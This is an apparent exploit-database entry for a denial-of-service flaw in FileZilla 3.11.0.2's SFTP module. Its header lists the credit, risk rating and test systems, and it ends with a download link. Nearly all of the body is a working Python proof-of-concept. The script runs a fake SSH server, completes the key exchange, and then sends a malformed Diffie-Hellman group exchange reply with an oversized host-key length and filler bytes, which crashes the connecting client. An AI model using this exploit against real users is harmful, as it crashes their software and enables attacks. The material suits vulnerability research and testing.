Filezilla 3.11.0.2 sftp module denial of service vulnerability

2015.06.15
Credit: 3unnym00n
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

''' # Exploit title: filezilla 3.11.0.2 sftp module denial of service vulnerability # Date: 5-6-2015 # Vendor homepage: http://www.chiark.greenend.org.uk # Software Link: http://dl.filehorse.com/win/file-transfer-and-networking/filezilla/FileZilla-3.11.0.2.exe?st=6b87ZegIN1LDhSGAw5M4wg&e=1434351489&fn=FileZilla_3.11.0.2_win32-setup.exe # Version: 3.11.0.2 # Author: 3unnym00n # Details: # -------- # sftp module for filezilla based on putty's psftp component. # when doing the ssh dh group exchange old style, if the server send a malformed dh group exchange reply, can lead the filezilla component crash # Tested On: win7, xp # operating steps: run the py, then execute : "D:\programfile\FileZilla FTP Client\filezilla.exe" sftp://root@127.0.0.1 ''' import socket import struct soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.bind(('127.0.0.1', 22)) soc.listen(1) client, addr = soc.accept() ## do banner exchange ## send server banner client.send('SSH-2.0-SUCK\r\n') ## recv client banner client_banner = '' while True: data = client.recv(1) if data == '\x0a': break client_banner += data print 'the client banner is: %s'%client_banner.__repr__() ## do key exchange ## recv client algorithms str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send server algorithms client.send('000001b4091464f9a91726b1efcfa98bed8e93bbd93d000000596469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d73686131000000077373682d727361000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f7572323536000000576165733132382d6374722c6165733235362d6374722c6165733132382d6362632c626c6f77666973682d6362632c6165733235362d6362632c336465732d6362632c617263666f75723132382c617263666f75723235360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d39360000002b686d61632d736861312c686d61632d6d64352c686d61632d736861312d39362c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000000000000000000000'.decode('hex')) ## do dh key exchange ## recv dh group exchange request str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange group client.send('00000114081f0000010100c038282de061be1ad34f31325efe9b1d8520db14276ceb61fe3a2cb8d77ffe3b9a067505205bba8353847fd2ea1e2471e4294862a5d4c4f9a2b80f9da0619327cdbf2eb608b0b5549294a955972aa3512821b24782dd8ab97b53aab04b48180394abfbc4dcf9b819fc0cb5ac1275ac5f16ec378163501e4b27d49c67f660333888f1d503b96fa9c6c880543d8b5f04d70fe508ffca161798ad32015145b8e9ad43aab48ada81fd1e5a8ea7711a8ff57ec7c4c081b47fab0c2e9fa468e70dd6700f3412224890d5e99527a596ce635195f3a6d35e563bf4892df2c79c809704411018d919102d12cb112ce1e66ebf5db9f409f6c82a6a6e1e21e23532cf24a6e300000001020000000000000000'.decode('hex')) ## recv dh group exchange init str_pl = client.recv(4) pl = struct.unpack('>I', str_pl)[0] client.recv(pl) ## send dh group exchange reply dh_gex_reply_msg = '\x00\x00\x02\x3c' ## pl dh_gex_reply_msg += '\x09' ## padding len dh_gex_reply_msg += '\x21' ## dh gex reply dh_gex_reply_msg += '\x00\x00\xff\xff' ## dh host key len dh_gex_reply_msg += 'A'*600 client.sendall(dh_gex_reply_msg)

References:

http://dl.filehorse.com/win/file-transfer-and-networking/filezilla/FileZilla-3.11.0.2.exe?st=6b87ZegIN1LDhSGAw5M4wg&e=1434351489&fn=FileZilla_3.11.0.2_win32-setup.exe


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